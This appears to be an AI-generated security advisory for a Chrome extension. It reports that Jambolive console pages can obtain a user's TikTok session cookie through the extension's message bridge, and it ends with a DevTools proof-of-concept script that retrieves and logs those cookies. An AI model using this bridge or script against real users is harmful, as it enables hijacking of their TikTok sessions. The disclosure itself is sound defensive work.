Is JaJambo就醬播加單小幫手 safe?
JaJambo就醬播加單小幫手 is high risk. On Jambolive live-console pages, a page script can ask the extension to read TikTok cookie values and return them into the page. Limited to the manifest's console URLs, but includes TikTok's session cookie when the browser already has one.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Jambolive console can receive TikTok session cookies
On Jambolive live-console pages, a page script can ask the extension to read TikTok cookie values and return them into the page.
Limited to the manifest's console URLs, but includes TikTok's session cookie when the browser already has one.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open or use a Jambolive live-console page.
The manifest loads the bridge script on the Jambolive and Sea Jambolive live-console URL patterns.
The extension can read TikTok cookie values and return them to that page.
A same-window page message reaches the content script, which asks the background script for the cookie values.
- TikTok session cookiesessionId: 3f4e2a9b6c1d0e7f8a9b0c1d2e3f4a5b (illustrative)
This can represent your signed-in TikTok browser session when that cookie exists in Chrome.
- TikTok routing cookiettTargetIdc: useast1a (illustrative)
This adds account-session context by returning the TikTok data-center routing value stored with the browser session.
The manifest scope, page bridge, and background cookie reader
Manifest scope in readable form
manifest.jsonpermissions include "cookies"host_permissions include "https://www.tiktok.com/"content script jambolive.js runs on: "https://jambolive.tv/console/live/*" "https://sea.jambolive.tv/console/live/*"Readable page bridge flow
jambolive.jsWhen the page posts a same-window message with type "GET_TK_SESSION_COOKIES": jambolive.js calls chrome.runtime.sendMessage({ contentScriptQuery: 'getTikTokSessionCookies' }) when the background script responds, jambolive.js posts this object back to the page window: { type: "RESPONSE_TK_SESSION_COOKIES", ...response }Readable background cookie flow
background.jsWhen background.js receives contentScriptQuery 'getTikTokSessionCookies': call getTkSessionCookies() read chrome.cookies.get({ url: "https://www.tiktok.com/", name: 'sessionid' }) read chrome.cookies.get({ url: "https://www.tiktok.com/", name: 'tt-target-idc' }) return { sessionId, ttTargetIdc } to jambolive.jsRequests the same page-to-extension bridge path from a matching Jambolive console tab and logs whether cookie fields are returned.
- Chrome with the extension installed
- A matching Jambolive live-console page
- An existing TikTok browser session to observe non-null session cookies
(() => { const expectedOrigin = window.location.origin; const onMessage = (event) => { if (event.source !== window || event.origin !== expectedOrigin) { return; } if (!event.data || event.data.type !== "RESPONSE_TK_SESSION_COOKIES") { return; } window.removeEventListener("message", onMessage); console.log("RESPONSE_TK_SESSION_COOKIES", { hasSessionId: typeof event.data.sessionId === "string" && event.data.sessionId.length > 0, hasTtTargetIdc: typeof event.data.ttTargetIdc === "string" && event.data.ttTargetIdc.length > 0, sessionId: event.data.sessionId, ttTargetIdc: event.data.ttTargetIdc }); }; window.addEventListener("message", onMessage); window.postMessage({ type: "GET_TK_SESSION_COOKIES" }, expectedOrigin); setTimeout(() => { window.removeEventListener("message", onMessage); console.log("No RESPONSE_TK_SESSION_COOKIES message observed within 5 seconds."); }, 5000);})();- 1Open a matching Jambolive live-console page with the extension installed, then paste this script into the browser DevTools Console.